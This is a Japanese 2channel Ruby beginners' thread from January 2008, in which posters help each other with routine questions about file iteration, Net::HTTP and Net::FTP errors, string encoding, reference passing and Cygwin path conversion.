128 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 21:06:13 ] 目次見て俺でも書けるような気がしてきた
129 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 21:24:29 ] 目次よりもサンプルスクリプト見たほうがいいな
130 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 22:06:51 ] インスタンス変数が設定されているかどうかを調べるために class Object def instance_variable_exist?(name) self.instance_variables.include?(name) end end としているんですけど、効率が悪いので、なんかもっといい方法あったら教えてください。
131 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 22:13:38 ] instance_variable_defined? 使えばいいんじゃない?
132 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 23:10:07 ] >129 そう思う奴のうち実際に書ける奴は半分以下 さらにそのうち本当に書く奴は1割以下 俺? もちろん最初の書ける奴、の上限で除外orz
133 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 23:10:33 ] 上限てなんやorz 条件な
134 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 23:15:48 ] >>127 発売日に買って斜め読みした俺がコメント. ExcelやOutlook,IEについては筆者セレクションによるメソッドやプロパティが ちょろっと紹介されてる.ちょっと便利. ただ,基本は限られた紙面に広範囲な情報を詰め込んでいて 個々のトピックについてはビックリするほどに紹介レベル. ExerbRuntimeモジュールなんてメソッドすら載ってないよ. でも,いつもexe化するのにしか使って無くて,そんなモジュールの存在を知らず 普通にdl/win32使ってexeのパス取得してた俺ショック. WMIもPowershellの紹介とかで名前は聞いたことがあったし デフォルトで実行パスにwbemが含まれているので気にはなっていたけど,使えるねこれ! NICのIPアドレス取得するのにipconfig使ってて,一瞬,DOS窓が表示されるのがウザかったんだけど WMIで解決しました. 上級者は必要ないかもしれないけど,初心者は買って損のない本.
135 名前:88 mailto:sage [2008/01/20(日) 23:40:34 ] >>99 おとなしく同一サーバにcgiを置く事にしました。 お騒がせしてすんまそん。
136 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 23:46:14 ] >>131 1.9からじゃないか?
137 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 23:59:07 ] >>136 1.8.6 から追加されてる
138 名前:127 mailto:sage [2008/01/21(月) 00:02:51 ] >>134 何という親切なコメント。ありがとね そのあたりの知識も不足してる気がするし買うことにするよ
139 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 00:10:10 ] >>134 何という親切なコメント。ありがとね そのあたりの知識も不足してる気がするし買うことにするよ
140 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 00:12:50 ] >>137 安定版という意味では変わらないか
141 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 00:41:00 ] >>137 ホントだすまん。 Refeでしか確認してなかったよ。
142 名前:デフォルトの名無しさん [2008/01/21(月) 04:30:38 ] は!
143 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 04:40:53 ] 503 対応してくれたみたいでありがとうございます><
144 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 09:10:19 ] >>131 そんなのあるんだ。それってどのバージョンから定義されているかわかりますか。 わしがもってるマニュアルには載ってなかったので。
145 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 16:14:08 ] 1.8.6でこっそり追加だと思った マニュアルには反映されてない可能性が Emacs上でRubyスクリプト書いてる人はいる? ・rbファイルをruby-modeで読み込む ・普通に全部手書きする ・普通に別窓のコンソールでスクリプトを実行しエラーを目測 ・普通に方向キー連打で該当行に到達 ・普通に別起動のHTMLヘルプを見ながら修正 という、よく考えたらかなり無駄っぽい動きをしてる気がする俺をたしなめてくれ
146 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 16:43:12 ] >>145 めっ
147 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 17:10:38 ] > 普通に全部手書きする Emacs自体に動的略語展開があるから、 一度読み込んだファイルに書いてある単語は2回書く必要はないかと > 方向キー連打で該当行に到達 M-x goto-line
148 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 19:33:42 ] Rubyを使って大量のファイルに置換作業を加えたいんだけどどんなことを勉強すればいいですか?
149 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 19:46:23 ] >>148 それの期限を限りなく引き延ばすための技術や話術 普通に学んでる限りはそんなことをとりたてて聞いたりしないもんだ 聞かなきゃならないってことはRubyの基本やコンピュータの知識がなってないってことだから
150 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 19:51:43 ] >>148 すばらしいアイディアがあるよ itpro.nikkeibp.co.jp/article/COLUMN/20080104/290425/
151 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 20:03:08 ] >>148 入門書何冊かチェックして テキストフィルタの話してるのを買って読めばいいよ
152 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 20:13:18 ] >>149 テキストエディタの正規表現を使って置換することはできるんですが、プログラミングに関してはパーです >>150 ああ・・・でも変更を加えたいファイルはテキストベースなんです。 人間が簡単に読めるってのが売りのデータ形式なんで、データそのものを、62進数の文字列に変換 とかっていうのはいただけないです >>151 わかりました
153 名前:デフォルトの名無しさん [2008/01/21(月) 21:05:30 ] >>150 インデックスを使うっていうだけだよねこれ
154 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 21:25:14 ] >>153 もう一度読み返してみたら”それらをファイル名の集合体として別途管理する”って書いてあることに気付きました
155 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 21:32:54 ] FS(BTree系)+OSのディレクトリキャッシュで管理するか、 DBMSのテーブル(典型的にはBTree系)+DBMSのキャッシュで 管理するかの違いだけのような気がする
156 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 21:44:16 ] >>150 スラドで袋だたきされてる奴だろw
157 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 21:46:22 ] 技術的には奇特人間大賞みたいなもんで別段問題ないっす プレスリリースがアホっぽいので話題になってるだけ
158 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 21:52:33 ] まぁでも、初心者に勧めるようなもんじゃないな。
159 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 22:18:02 ] 今ならPythonだな
160 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 22:21:27 ] スラドの関連ストーリーがLyee関係になってて 可哀想だった・・・・そこまでひどくはないと思うし・・・・・
161 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 22:48:06 ] Ruby検定がコンピュータベースで全国200個所で受験可能に − @IT ttp://www.atmarkit.co.jp/news/200801/21/ruby.html やったね!
162 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 22:50:03 ] 松江詣でをする理由が無くなったな
163 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 22:58:17 ] Ruby検定なんてあったのか そんなもん取ってなんの役に立つんだ?
164 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 23:02:39 ] そりゃー、おめー、あれだー、現行の幾つか前のバージョンの仕様ならちゃんと理解してた、つーことをだな
165 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 23:12:17 ] >>163 面接のときの話のネタになる、ということが言われております
166 名前:デフォルトの名無しさん mailto:sage [2008/01/21(月) 23:26:29 ] とりあえずここは初心者スレだ
167 名前:デフォルトの名無しさん mailto:sage [2008/01/22(火) 11:25:47 ] >>145 ruby-mode って組み込みクラスのメソッド補完とかできないの? 他のモードにはある C-c C-c での実行とか マニュアル表示とかも無理?
168 名前:デフォルトの名無しさん mailto:sage [2008/01/22(火) 15:48:50 ] すみません教えてください。 自分のIPアドレスを知るためのhttpクライアントを作ろうとしています。 普通のページは .get できるのですが、CGIの返してくるものを取れません。 以下のコードです(URLは架空)。 require 'net/http' Net::HTTP.version_1_2 Net::HTTP.start('YourIP.com ', 80) { |http| response = http.get('/ip.cgi') puts response.body }
169 名前:デフォルトの名無しさん mailto:sage [2008/01/22(火) 16:07:10 ] >>168 require 'open-uri' html = open('YourIP.com/ip.cgi ').read puts html open-uriで逆に面倒になることが事前にわかってる場合以外はopen-uri使い続けれ 上記でhtmlが空になる、あるいはopenでエラーが出る場合はCGIが悪い
170 名前:デフォルトの名無しさん mailto:sage [2008/01/22(火) 18:14:32 ] >>156 URLキボンヌ
171 名前:デフォルトの名無しさん mailto:sage [2008/01/22(火) 21:08:40 ] # 最近rubyの質問がすくねえな >>168 まず、以下の点について答えよ ・そのCGIはお前が書いたモノかどうか ・http.post での結果
172 名前:デフォルトの名無しさん mailto:sage [2008/01/22(火) 22:12:18 ] 質問です。 Ruby 1.9以降で正規表現関係はどう変わりますか? 鬼車がどうこうというのは、あちこちで目にするのですが、 具体的な変更点が詳しく分かるサイトとかあれば教えてください。
173 名前:デフォルトの名無しさん mailto:sage [2008/01/22(火) 22:50:45 ] 質問です あるディレクトリにある全てのファイルの中身を見て処理を行いたい場合の定石などありますでしょうか? 自分は Dir.entries("ディレクトリ名") do |file| File.open("ディレクトリ名" + file) なんだかの処理 end end とかやっているのですが、いまいちです Dirでディレクトリ内部のファイル一覧を取得するとどうもStringにしてくれるみたいですが、Fileをうまいこと取得できたりしないのでしょうか? ついでにCやJavaでインクリメントする場合 value++ とか書きますよね Rubyだと++はないようですが、どうするのがいいのでしょうか? よろしくお願いいたします
174 名前:デフォルトの名無しさん mailto:sage [2008/01/22(火) 22:52:23 ] value += 1 とするしかない
175 名前:デフォルトの名無しさん mailto:sage [2008/01/22(火) 22:58:41 ] >>173 Dir.glob("./hoge/*").each do |path| File.open(path){|f| … } end おそらくこれが一番人気 他のDirもPathnameの各メソッドもビミョーに使い勝手が悪い インクリメントは作者がやだって言ってるので>>174 以外の方法はないよ
176 名前:デフォルトの名無しさん mailto:sage [2008/01/22(火) 23:08:39 ] >>174-175 さんくすです 助かりました 参考にさせてもらいます value+=1はあったのですね てっきり、+=も無いと思っていたのでvalue = value + 1と書いてましたw
177 名前:デフォルトの名無しさん [2008/01/23(水) 00:58:08 ] >>170 >>150 スラッシュドット ジャパン | データをすべてファイル名扱いにして高速検索を実現? slashdot.jp/developers/08/01/20/2052246.shtml
178 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 01:01:16 ] >>177 関連エントリー。アルファブロガーの反応 404 Blog Not Found:ニセ情報科学? - ISSEI blog.livedoor.jp/dankogai/archives/50988968.html
179 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 09:38:29 ] >>169 うまくいきました。 ありがとうございます。 >>171 cgiは、とりあえず既存のものです。 読むのがうまくいったので、送る方のcgiも自作するつもり。 .startでSocketErrorになっていました。 http.post は行っていません。
180 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 09:59:37 ] >>179 >.startでSocketErrorになっていました。 ×Net::HTTP.start('YourIP.com ', 80) { |http| ○Net::HTTP.start('YourIP.com', 80) { |http|
181 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 10:18:36 ] そのアルファブロガー(笑)はどうでもいい
182 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 10:40:38 ] >>180 御指摘感謝
183 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 15:45:18 ] 重複順列の中で各要素を必ず最低一つは含むものを生成するコードって効率よく書けます? 下のように書いてみたけど、全重複順列を生成して後でチェックするのはいまいちな感じ。 class Array def each_perm(k) if k == 1 each{|x| yield [x]} else each do |x| each_perm(k-1) do |y| yield [x]+y end end end end end k = 5; ary = [1,2,3] ary.each_perm(k) do |x| p x if x.uniq.size == ary.size end
184 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 16:15:20 ] ttp://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-list/26519 irb> a = Array.new irb> power(3, 5){|x| a.push([1,2,3].values_at(*x))} irb> p a.size 243 3 個の異なった要素から重複を許して 5 個取り出す重複順列の総数は 3Π5 つまり 3^5 で 243
185 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 16:54:13 ] >>184 レスどうも。values_atって初めて見たかも。 やりたかったのは、各要素を最低一つを含むっていうので [1,2,3]つから5つ取り出した順列だと [1,1,1,2,3],[1,1,1,3,2],[1,1,2,1,3],,, という感じのものでした。うーん、閃きそうで閃かない。
186 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 17:03:57 ] 重複順列を全て生成してから不適なの弾くのがやっぱ素直なんじゃね?
187 名前:デフォルトの名無しさん [2008/01/23(水) 17:51:04 ] >>177-178 そういえばファイルの保護ってファイル名に対してはかからないんだよね。 つまり、データをファイル名に使うことで・・壊れやすくなる。 ファイルサイズを0にするやつは、データを盗まれないようにする方法としては使えるね。 一旦デコードしないとコピーができないから。 企業のページでは >次世代Web基盤技術 とか言ってるけど、なんでWebなんだろ。 データを取り扱うときに通常のファイル形式にしないといけないはずだが。 >独自のプログラムとデータ構造により、圧倒的なコストパフォーマンスを実現 ・・・ ああ、コストパフォーマンスについてはそうかも。 DBMSを使うとそれにライセンス料を払う必要があるが、OS標準の機能なら追加料金がかからない。 ・・・ フリーのDB使えばいいけど、遅いって話もなくもないし。
188 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 18:56:40 ] スレ違いを理解できない低脳は去ね
189 名前:デフォルトの名無しさん [2008/01/23(水) 21:07:53 ] おい リファレンスマニュアル検索できなくなってるんだけど www.ruby-lang.org/ja/man/html/index.html
190 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 21:18:24 ] マニュアル本体をCGIやめて静的HTMLにしたって聞いたからその関係なんだろう
191 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 21:31:23 ] Ruby、かっこわるい
192 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 21:32:38 ] 検索できないって終わってるなw つかプログラミング言語の公式サイトが検索アプリもまともに作れないとか
193 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 21:34:22 ] e? オヒサルで検索してる奴なんてこの世に存在するの?
194 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 21:40:20 ] ローカルで検索すればいいのにね。
195 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 21:40:58 ] Namazuとか使えば簡単にインデックス作れそうだけどな。 俺が暇になったときにまだ検索できないようなら作ってみよ
196 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 21:45:15 ] トップページには検索機能があるが、Radiantで管理してる部分だけの 対応みたいだな。 リファレンスはやっつけで静的HTML化したからカバーしてない(つーか 忘れてるだろ、おそらく)んだろうな。
197 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 22:35:23 ] VisualuRubyって今だに開発続いてるの? RADっぽいお手軽開発環境探してるんだけどやっぱしないかなぁ?
198 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 23:11:49 ] Ruby使いって低脳多いんだな いちいち全PCにマニュアルインスコしてられっかよwwwwww
199 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 23:21:11 ] ActiveRubyのアイコンが気に入らないので XP風の普通のRubyファイル用のアイコンを探しています。 Perl用とかC用とかも有ればベストなのですが、 オーソドックスな普通のアイコンはありませんか?
200 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 23:22:42 ] 何がどうオーソドックスなんだ…
201 名前:デフォルトの名無しさん [2008/01/23(水) 23:29:42 ] site:ruby-lang.org オプションをつけてGoogle検索すればいいだけじゃね?
202 名前:デフォルトの名無しさん mailto:sage [2008/01/23(水) 23:46:33 ] Ruby Iconで検索するとそこそこのが見つかる
203 名前:デフォルトの名無しさん mailto:sage [2008/01/24(木) 10:48:55 ] ftpを試みていますが、うまくいきません。 require 'net/ftp' ftp = Net::FTP::open("qwerty.com",'user','****') puts ftp.status # OK puts ftp.nlst # NG ftp.close 以上のコードで status は実行するのですが nlst でエラーになります。 御意見いただけませんでしょうか。
204 名前:デフォルトの名無しさん mailto:NLISTが動かない鯖に一票sage [2008/01/24(木) 11:05:00 ] ただエラーって言われてもねえ
205 名前:デフォルトの名無しさん mailto:sage [2008/01/24(木) 11:27:56 ] >>204 オーソドックスなFTPで ls と手入力するとファイルリストを見られるのですが、Rubyでは以下のエラーになります。 c:/ruby/lib/ruby/1.8/net/ftp.rb:241:in `getresp': 425 Failed to establish connec tion. (Net::FTPTempError) from c:/ruby/lib/ruby/1.8/net/ftp.rb:264:in `sendcmd' from c:/ruby/lib/ruby/1.8/monitor.rb:242:in `synchronize' from c:/ruby/lib/ruby/1.8/net/ftp.rb:262:in `sendcmd' from c:/ruby/lib/ruby/1.8/net/ftp.rb:336:in `transfercmd' from c:/ruby/lib/ruby/1.8/net/ftp.rb:421:in `retrlines' from c:/ruby/lib/ruby/1.8/monitor.rb:242:in `synchronize' from c:/ruby/lib/ruby/1.8/net/ftp.rb:419:in `retrlines' from c:/ruby/lib/ruby/1.8/net/ftp.rb:609:in `nlst' from ftp_up$.rb:5 dir も同様です。
206 名前:デフォルトの名無しさん mailto:sage [2008/01/24(木) 11:30:29 ] NATの内側にいてパッシブモードでないとか?
207 名前:デフォルトの名無しさん mailto:sage [2008/01/24(木) 11:39:57 ] FTPのエラーコードがわかれば瞬殺だな Rubyの出す例外はきちんと書こうぜ >>206 んだなす ftp.passive=trueしたあとにコマンド実行させれば動くはず
208 名前:デフォルトの名無しさん mailto:sage [2008/01/24(木) 13:36:59 ] >>206 ,207 passive=true にしてみましたがダメでした。 以下はstatus表示後のエラー表示です。 c:/ruby/lib/ruby/1.8/net/ftp.rb:159:in `initialize': 接続済みの呼び出し先が一定 の時間を過ぎても正しく応答しなかったため、接続できませんでした。または接続済みの ホストが応答しなかったため、確立された接続は失敗しました。 - connect(2) (Errno:: ETIMEDOUT) from c:/ruby/lib/ruby/1.8/net/ftp.rb:159:in `open' from c:/ruby/lib/ruby/1.8/net/ftp.rb:159:in `open_socket' from c:/ruby/lib/ruby/1.8/net/ftp.rb:317:in `transfercmd' from c:/ruby/lib/ruby/1.8/net/ftp.rb:421:in `retrlines' from c:/ruby/lib/ruby/1.8/monitor.rb:242:in `synchronize' from c:/ruby/lib/ruby/1.8/net/ftp.rb:419:in `retrlines' from c:/ruby/lib/ruby/1.8/net/ftp.rb:609:in `nlst' from ftp_up$.rb:9 exec で ftp 呼んで実行手順をファイルで渡すことにします。 御指導ありがとうございました。
209 名前:デフォルトの名無しさん mailto:sage [2008/01/24(木) 20:58:18 ] ASCII-8BIT ってなんですか?
210 名前:デフォルトの名無しさん mailto:sage [2008/01/24(木) 21:10:30 ] >>209 このスレではまだしばらくは縁のない言葉です。
211 名前:デフォルトの名無しさん mailto:sage [2008/01/24(木) 23:24:09 ] これから正規表現を書き溜めていく気マソマソ どうせなら鬼車に乗りたいので 早く1.9系安定してくだされぇ〜! を言い訳に作業をサボる自分・・・ヨワッ
212 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 01:49:10 ] すみませんが、質問です。 open パス名 do |file| 例外発生 end となった場合、オープンされたファイルは自動的にクローズされるのでしょうか?
213 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 02:14:22 ] ブロック付きopenは、 begin open 付いてきたブロックであれこれ作業 ensure close end という意味。ensureは例外になろうがなるまいが実行されるよ。
214 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 02:19:42 ] >>213 ありがとうございます。これで安心して作業ができます。
215 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 04:28:52 ] すみません。 C++で書かれたプログラムをrubyに移植しているのですが、参照で困りました。 RubyにはC++でいう参照はありますか。 それもクラスインスタンスではなくint等の組み込み型を参照として渡すことはできますか。
216 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 05:48:31 ] Rubyでは、数値とSymbol以外はすべて参照
217 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 05:53:26 ] 引数の参照渡しのことかも。 それは確かできなかったはず
218 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 06:12:03 ] >>215 >int等の組み込み型を参照として渡すことはできますか。 integerやfloatはできない。それ以外はすべて参照。 引数の参照渡しのことなら、できない。 まず具体的にどんなことがしたいかをプログラムで書いてみて。
219 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 06:29:21 ] >>218 簡単に説明しますと、オブジェクト内部で条件が真のときに引数の参照に値を代入し、boolで関数の結果を返す関数です。 bool Hoge::GetData(int condition,float &buffer) { if(condition == this->condition) { buffer = this->my_float_value; return true; } return false; }
220 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 07:05:58 ] >219 ・関数が失敗の場合は、例外を返せば良い ・Rubyのメソッドは複数の値を返せる(return a, b とすれば a, b = get_data() で受け取れる) ・bufferがオブジェクトの一部分なら、オブジェクト自体を渡す選択肢も ・配列として受け渡しすれば、擬似的な参照渡しになる お好きなのをどうぞ。
221 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 07:13:09 ] Ruby的には条件が真なら数値を、偽ならnilを返すようにするとかっこいいよね 戻り値がnilか否かをチェックすれば真偽をチェックしたことになるから
222 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 07:19:09 ] >>220-221 なるほど。 ありがとうございました。
223 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 07:26:32 ] すみません 同じ値のはずの2つのstringオブジェクトを==で比べると、なぜかfalseが返ってきます。 デバッグで見ても、2つのオブジェクトは全く同じ値でした。 どこか処理がまずくてスタックが壊れてるのでしょうか?
224 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 07:32:44 ] >223 JavaじゃなくてRubyの話なんだよな? p 変数 で見ても全く同じ?
225 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 07:39:37 ] はい。同じでした。 if str1 == str2 return; end p str1 + " " + str2 このようなコードなのですが、if文でリターンせずにpによって 「同じ文字 半角スペース 同じ文字」 が表示されました。
226 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 07:55:25 ] +で結合せずに、どういう出力が出るか試してみ p str1 p str2 p str1.class p str2.class あとRubyのバージョンを書いて
227 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 08:00:09 ] どうもすみません。 結果です。 あ あ String String と表示されました。 バージョンは1.8.1です。
228 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 08:20:26 ] 1.8.1で文字列もクラスも同じ……となると、原因が全く分からないな あとはコード全体を見ないことには
229 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 09:02:14 ] >>227 "あ" ではなく あ と表示されたのなら問題ないんじゃね
230 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 09:14:01 ] >>228 gonzo.dip.jp/~gonzo/cgi-bin/uploader2/upload.cgi?mode=dl&file=2078 アップしました。 見辛くて申し訳ありません。 なにかトンチンカンなことをやってバグを誘発しているのでしょうか(><)
231 名前:230 mailto:sage [2008/01/25(金) 09:14:26 ] DLkeyはrubycsvです。
232 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 09:15:08 ] >>221 0が真になるのは良いとして falseも真という意味ですよね nilだけが偽と
233 名前:230 mailto:sage [2008/01/25(金) 09:27:04 ] ソースに誤植がありました × check( i , GetElementString( i , "通常" , n ) ); ○ check( i , GetElementString( i , "通常ポーズ" , n ) );
234 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 09:35:34 ] …。全角空白混じってるしトップレベルのmainを実行してる場所がないぞ。 で、41行目の > if( elem_name.to_s == @definition_names[i].to_s ) で、同じデータのはずなのにfalseが返ることがあるという質問でいい?
235 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 09:37:50 ] >>234 すみません全角混じっていましたか。 質問は全くその通りです。
236 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 09:54:58 ] ifにelseを追加してみる。つまりfalseのときにelem_nameと@definition_names[i]を表示させてみる else print "[ #{elem_name} <=> #{@definition_names[i]}] " 結果を整形してみる [ 攻撃 <=> 通常ポーズ] [ 死亡 <=> 通常ポーズ] [ 死亡 <=> 攻撃] [ ダメージ <=> 通常ポーズ] [ ダメージ <=> 攻撃] [ ダメージ <=> 死亡] [ 勝利 <=> 通常ポーズ] [ 勝利 <=> 攻撃] [ 勝利 <=> 死亡] [ 勝利 <=> ダメージ] [ 瀕死 <=> 通常ポーズ] [ 瀕死 <=> 攻撃] [ 瀕死 <=> 死亡] [ 瀕死 <=> ダメージ] [ 瀕死 <=> 勝利] [ 攻撃 <=> 通常ポーズ] [ 死亡 <=> 通常ポーズ] [ 死亡 <=> 攻撃] [ ダメージ <=> 通常ポーズ] [ ダメージ <=> 攻撃] [ ダメージ <=> 死亡] [ 勝利 <=> 通常ポーズ] [ 勝利 <=> 攻撃] [ 勝利 <=> 死亡] [ 勝利 <=> ダメージ] [ 瀕死 <=> 通常ポーズ] [ 瀕死 <=> 攻撃] [ 瀕死 <=> 死亡] [ 瀕死 <=> ダメージ] [ 瀕死 <=> 勝利] [ 攻撃 <=> 通常ポーズ] [ 死亡 <=> 通常ポーズ] [ 死亡 <=> 攻撃] [ ダメージ <=> 通常ポーズ] [ ダメージ <=> 攻撃] [ ダメージ <=> 死亡] [ 勝利 <=> 通常ポーズ] [ 勝利 <=> 攻撃] [ 勝利 <=> 死亡] [ 勝利 <=> ダメージ] [ 瀕死 <=> 通常ポーズ] [ 瀕死 <=> 攻撃] [ 瀕死 <=> 死亡] [ 瀕死 <=> ダメージ] [ 瀕死 <=> 勝利] [ 攻撃 <=> 通常ポーズ] [ 死亡 <=> 通常ポーズ] [ 死亡 <=> 攻撃] [ ダメージ <=> 通常ポーズ] [ ダメージ <=> 攻撃] [ ダメージ <=> 死亡] [ 勝利 <=> 通常ポーズ] [ 勝利 <=> 攻撃] [ 勝利 <=> 死亡] [ 勝利 <=> ダメージ] [ 瀕死 <=> 通常ポーズ] [ 瀕死 <=> 攻撃] [ 瀕死 <=> 死亡] [ 瀕死 <=> ダメージ] [ 瀕死 <=> 勝利] ということで同じ文字はないよ。csvデータはUTF-8なんだけどスクリプト本体のほうはUTF-8なの? アップロードのときにミスったんだと思ってたけど、もしこのままならスクリプトはShiftJISになってるよ
237 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 10:38:17 ] >>236 お手数おかけしました。 ということは、コードの問題ではなくて、環境固有の問題なのでしょうか。 実は実行環境はRPGツクールVXなのです。 こちらの環境ではelseで付け加えて値を見ると、同じ文字の組み合わせがありました。 ツクール内部で呼び出しているので、通常の環境とは異なっているのかもしれませんね。
238 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 12:33:45 ] すみませんが、Cygwin上でRubyをお使いの方に質問です。 ディレクトリからファイル名のリストを取得し、WIN32OLE 経由で MS-Word の COMコンポーネントに一つずつ渡そうとしています。 Wordに与えるファイル名は絶対パスである必要があるようなので、個々のファ イル名にFile.expand_path を適用してから渡しています。 ところが、File.expand_path の戻り値が /cygdrive/c/... や、/home/ユーザ 名 になってしまうのです。もちろん Word が必要としているのは C:\ で始ま るパスなので、Wordがファイルを開くことができません。 File.expand_path(ファイル名).gsub(%r!^/cygdrive/c/!, "C:/").gsub(%r!/home/!, "/C:/cygwin") とやれば何とかなりますが、どうも不恰好です。もっと良い方法はないでしょ うか?
239 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 12:43:09 ] cygpath -d /cygdrive/c
240 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 12:44:27 ] $ cygpath -w '/cygdrive/c/program files' c:\program files $ cygpath -d '/cygdrive/c/program files' c:\PROGRA~1
241 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 12:50:17 ] >>238 まあcygwinのシステムに乗っかってる以上根本的にはどうしようもない WindowsアプリケーションとしてのRuby使え C:\Documents and Settings\俺\デスクトップ\新しいフォルダ>ruby -e 'puts File.expand_path("csvloader.txt")' C:/Documents and Settings/俺/デスクトップ/新しいフォルダ/csvloader.txt
242 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 12:54:58 ] >>232 >0が真になるのは良いとして >falseも真という意味ですよね >nilだけが偽と うんにゃ。nilとfalseが偽と見なされる。 成功したときは数値を返し、失敗したときはnilを返す。falseは返さない。 これでいいじゃん?
243 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 12:57:12 ] 正規表現目当てでRubyに挑戦中 str1=str2 でなく str1=str2.dup と書かなきゃコピーにならんとこは わたしのような初心者にはドエライ罠だったんですけど・・・
244 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 13:09:18 ] >>243 「明示的な複製」が自力で必要な場面は意外と少ないんだ データを返す組み込みクラスのメソッドの多くは結果を複製して返す 知らないとどこかで絶対に一度は嵌るが、知ってしまうと意外とそうでもない >>242 falseは(Rubyには型としては無いけど)booleanで使うといいよね nilはそれ以外の「空」とか「無し」とか 「失敗」をfalseにするかnilにするかは若干迷うけど、「成功」がtrueという値になると思えるならfalseだな if文ではfalseもnilもelseに行くから深く考えなくてもいいし
245 名前:238 mailto:sage [2008/01/25(金) 13:13:23 ] 皆さん、ありがとうございます。 >>239->>240 wdoc = wordOLEObject.Documents.open `cygpath -w #{File.expand_path 'Readme'}` こんな感じでしょうか? これだと、今度は逆にCygwin以外のWindows環境では動きません。環境の判別法 ははないものでしょうか? 欲を言えば、分岐なしでどちらの環境でも動くならありがたいのですが。 >>241 Cygwin版のRubyと共存させるわけですか...。それも一つの手だなあ。 ActiveScriptRuby 使いたいし。 ただ、環境が安定するかどうかが不安です。
246 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 14:03:12 ] >>245 環境の判別はRUBY_PLATFORMで。 分岐なしで動くようにするのは無理。 強いて言えば238で自分で書いてるのが分岐なしで動くようにする方法になるのかもしれんが。
247 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 14:05:07 ] > 分岐なしで どこをどう作っても内部的には分岐使ってる 気にすんな
248 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 14:16:30 ] 最初は抵抗あるけど、サブルーチンだと割り切ってメソッドに切り分ければ あ〜ら不思議あら不思議
